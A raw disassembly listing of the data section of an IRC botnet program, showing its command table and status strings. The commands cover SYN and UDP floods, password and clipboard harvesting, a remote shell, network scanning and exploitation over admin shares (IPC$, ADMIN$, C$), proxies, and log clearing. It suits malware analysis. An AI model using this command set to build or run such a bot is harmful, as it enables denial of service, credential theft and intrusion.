aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40D2E0+1C58o
		align 10h
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40D2E0+1C41o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40D2E0+1C2Ao
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40D2E0+1C13o
		align 10h
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40D2E0+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40D2E0+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40D2E0+1BCEo
		align 4
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40D2E0+1BB7o
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40D2E0+1BA0o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40D2E0+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40D2E0+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40D2E0+1B5Bo
		align 4
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40D2E0+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40D2E0+1B2Do
		align 4
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40D2E0+1B16o
		align 4
aCom_o		db 'com.o',0            ; DATA XREF: sub_40D2E0+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40D2E0+1AE8o
		align 10h
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40D2E0+1AD1o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40D2E0+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40D2E0+1AA3o
		align 10h
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40D2E0+1A8Co
		align 10h
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40D2E0+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40D2E0+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40D2E0+1A47o
		align 10h
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40D2E0+1A30o
		align 10h
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40D2E0+1A19o
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40D2E0+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40D2E0+19EBo
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40D2E0+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40D2E0+19BDo
		align 4
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40D2E0+19A6o
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40D2E0+198Fo
		align 10h
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40D2E0+1978o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_40D2E0+1952o
		align 10h
aScanall	db 'scanall',0          ; DATA XREF: sub_40D2E0+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40D2E0+1928o
		align 10h
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40D2E0+1913o
		align 10h
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40D2E0+18FEo
		align 10h
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40D2E0+18E9o
		align 10h
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40D2E0+18D4o
		align 10h
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40D2E0+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40D2E0+18AAo
		align 10h
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40D2E0+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40D2E0+1880o
		align 10h
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40D2E0+186Bo
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40D2E0+1856o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40D2E0+1841o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40D2E0+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40D2E0+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40D2E0+1802o
		align 10h
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40D2E0+17EDo
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40D2E0+17A9o
					; sub_414FE9+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40D2E0+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40D2E0+177Ao
		align 4
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40D2E0+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40D2E0+1756o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40D2E0+1751o
		align 4
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40D2E0+1738o
		align 4
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40D2E0+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40D2E0+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40D2E0+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40D2E0+16E4o
		align 4
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40D2E0+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40D2E0+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40D2E0+16A5o
		align 4
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40D2E0+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40D2E0+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40D2E0+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40D2E0+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40D2E0+163Co
		align 10h
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40D2E0+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40D2E0+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40D2E0+15FDo
		align 4
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40D2E0+15E8o
unk_42DD38	db    2			; DATA XREF: sub_40D2E0+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_42DD84	db    2			; DATA XREF: sub_40D2E0+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40D2E0+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40D2E0+14C3o
		align 4
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40D2E0+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40D2E0+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40D2E0+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40D2E0+146Fo
		align 4
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40D2E0+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40D2E0+1445o
		align 4
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40D2E0+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40D2E0+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40D2E0+1406o
		align 4
dword_42DE44	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_42DE78	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40D2E0+13B4o
		align 10h
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40D2E0+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40D2E0+138Ao
		align 10h
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40D2E0+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40D2E0+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40D2E0+134Bo
		align 4
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40D2E0+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40D2E0+1321o
		align 10h
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40D2E0+130Co
		align 10h
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40D2E0+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40D2E0+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40D2E0+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40D2E0+12B8o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40D2E0+12ADo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40D2E0+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40D2E0+128Fo
		align 10h
dword_42DF50	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40D2E0+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40D2E0+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40D2E0+1266o
		align 4
dword_42DF78	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40D2E0+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40D2E0+1256o
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40D2E0+123Do
		align 4
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40D2E0+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40D2E0+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40D2E0+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40D2E0+11E9o
		align 4
dword_42DFD8	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40D2E0+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40D2E0+11C0o
dword_42DFF4	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40D2E0+11B5o
dword_42E000	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40D2E0+11B0o
dword_42E00C	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40D2E0+1197o
dword_42E01C	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40D2E0+118Co
dword_42E028	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40D2E0+1187o
dword_42E034	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40D2E0+116Eo
dword_42E044	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40D2E0+1163o
dword_42E050	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40D2E0+115Eo
dword_42E05C	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40D2E0+1145o
dword_42E06C	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40D2E0+113Ao
dword_42E078	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40D2E0+1135o
dword_42E084	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40D2E0+111Co
dword_42E090	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40D2E0+1111o
dword_42E0A0	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40D2E0+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40D2E0+10F3o
		align 4
dword_42E0C4	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40D2E0+10E8o
dword_42E0D0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40D2E0+10E3o
dword_42E0DC	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40D2E0+10CAo
dword_42E0E4	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40D2E0+10C2o
dword_42E0F0	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40D2E0+10A4o
dword_42E100	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40D2E0+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40D2E0+107Eo
		align 4
dword_42E124	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40D2E0+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40D2E0+1057o
					; sub_40D2E0+1097o ...
		align 4
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40D2E0+103Eo
		align 10h
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40D2E0+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40D2E0+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40D2E0+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40D2E0+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40D2E0+FD5o
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40D2E0+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40D2E0+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40D2E0+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40D2E0+F81o
		align 4
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40D2E0+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40D2E0+F57o
		align 10h
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40D2E0+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40D2E0+F2Do
		align 4
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40D2E0+F15o
a63		db '63',0               ; DATA XREF: sub_40D2E0+DEEo
		align 4
asc_42E1DC:				; DATA XREF: sub_40D2E0+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40D2E0+D89o
		align 4
aServer_0	db '$server',0          ; DATA XREF: sub_40D2E0+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40D2E0+D6Do
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40D2E0+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40D2E0+D40o
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40D2E0+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40D2E0+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40D2E0+C05o
		align 4
aC_0:					; DATA XREF: sub_40D2E0+B19o
		unicode	0, <c>,0
dword_42E220	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_42E260	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 10h
dword_42E2A0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_42E2E4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40D2E0+9BFo
		align 4
dword_42E31C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_42E36C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+984o
					; sub_40D2E0+4ABCo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_42E3B4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40D2E0+973o
		dd 0A0Dh
dword_42E3CC	dd 4E495001h, 47h	; DATA XREF: sub_40D2E0+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40D2E0+8F9o
		align 10h
dword_42E3F0	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40D2E0+8DCo
		dd 0D017325h, 0Ah
dword_42E40C	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40D2E0+8ABo
dword_42E418	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40D2E0+6E8o
		align 4
dword_42E45C	dd 43434401h, 0		; DATA XREF: sub_40D2E0+6CAo
dword_42E464	dd 323333h		; DATA XREF: sub_40D2E0+651o
					; sub_40D2E0+B4Fo ...
dword_42E468	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_42E498	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40D2E0+574o
aPart		db 'PART',0             ; DATA XREF: sub_40D2E0+526o
					; sub_40D2E0+5EFo
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40D2E0+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40D2E0+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+371o
					; sub_40D2E0+613o
dword_42E4F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D2E0+355o
					; sub_40D2E0+5FF4o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40D2E0+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40D2E0+28Do
					; sub_40D2E0+4EB7o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40D2E0+262o
a@:					; DATA XREF: sub_40D2E0+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40D2E0+22Ao
a005		db '005',0              ; DATA XREF: sub_40D2E0+215o
a001		db '001',0              ; DATA XREF: sub_40D2E0+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+1E4o
					; sub_40D2E0+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40D2E0+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40D2E0+1A9o
		align 10h
asc_42E570:				; DATA XREF: sub_40D2E0+19Ao
					; sub_40D2E0+60FBo
		unicode	0, <!>,0
asc_42E574	db ' :',0               ; DATA XREF: sub_40D2E0+86o
					; sub_40D2E0:loc_40DE87o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4135F8+120o
		align 4
unk_42E584	db    2			; DATA XREF: sub_4137A9:loc_413830o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 4
unk_42E5BC	db    2			; DATA XREF: sub_4137A9+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_42E5F4	db    2			; DATA XREF: sub_4137A9+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_42E628	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4138EE+1E9o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_42E660	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4138EE+1C2o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 4
dword_42E69C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4138EE+1A2o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_4138EE+172o
		align 4
dword_42E6E8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4138EE+E1o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_42E724	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_413AF3:loc_413B38o
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_42E75C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_413B4D+1Bo
		dd 2029671Fh, 2BBBB02h
aLoginRejectedR	db '  Login rejected, Remote user: <%s@%s>.',0
dword_42E7A0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_413B7C+219o
		dd 2029671Fh, 2BBBB02h
aErrorServerF_0	db '  Error: server failed, returned: <%d>.',0
dword_42E7E4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_413B7C+1FBo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_31	db '  Failed to start client thread, error: <%d>.',0
		align 10h
dword_42E830	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_413B7C+177o
		dd 2029671Fh, 2BBBB02h
aClientConnec_2	db '  Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_42E884	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_413B7C+106o
		dd 2029671Fh, 2BBBB02h
aReadyAndWaitin	db '  Ready and waiting for incoming connections.',0
		align 10h
dword_42E8D0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_413B7C+70o
		dd 2029671Fh, 2BBBB02h
aFailedToInstal	db '  Failed to install control-C handler, error: <%d>.',0
dword_42E920	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_413B7C+3Do
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 2 dup(0)
aConst		db 'const',0
		align 4
		dd 0
dword_42E96C	dd 1			; DATA XREF: sub_41416F+7o
off_42E970	dd offset sub_413E04	; DATA XREF: sub_41416F+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 413E62h, 706D6F63h, 2 dup(0)
		dd 3, 413EAFh, 6E756F63h, 797274h, 0
		dd 4, 413F4Dh, 736Fh, 2	dup(0)
		dd 5, 413FC2h
dword_42E9C4	dd 69257325h, 0		; DATA XREF: sub_413E04+40o
					; _0:00413F2Eo	...
byte_42E9CC	db 50h			; DATA XREF: _0:00413ED1o _0:00413EDEr
		db 43h,	2 dup(0)
dword_42E9D0	dd 7C7325h		; DATA XREF: _0:00413F7Co
					; sub_41416F+39o
dword_42E9D4	dd 5D73255Bh, 7Ch	; DATA XREF: _0:00414086o
dword_42E9DC	dd 334B32h		; DATA XREF: _0:00414076o
dword_42E9E0	dd 5D64255Bh, 7325h	; DATA XREF: sub_4140CC+3Ao
dword_42E9E8	dd 5D4D5Bh		; DATA XREF: sub_4140CC+2Co
					; sub_4140CC+57o
unk_42E9EC	db    2			; DATA XREF: sub_4141D8+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_42EA24	db    2			; DATA XREF: sub_4142A5+41o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_42EA60	dd offset dword_42EA98	; DATA XREF: sub_4143F6+1B3o
					; sub_41471A+17Ao
		dd 0
		dd offset dword_42EA90
		align 10h
off_42EA70	dd offset dword_42EA8C	; DATA XREF: sub_41471A+1E3o
		dd offset dword_42EA88
		dd offset dword_42EA84
		dd offset dword_42EA80
dword_42EA80	dd 5C3A44h		; DATA XREF: sub_4143F6+217o
					; _2:0042EA7Co
dword_42EA84	dd 2444h		; DATA XREF: _2:0042EA78o
dword_42EA88	dd 5C3A43h		; DATA XREF: _2:0042EA74o
dword_42EA8C	dd 2443h		; DATA XREF: _2:off_42EA70o
dword_42EA90	dd 494D4441h, 244Eh	; DATA XREF: _2:0042EA68o
dword_42EA98	dd 24435049h, 0		; DATA XREF: _2:off_42EA60o
unk_42EAA0	db    2			; DATA XREF: sub_4143F6+2E5o
					; sub_41471A+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
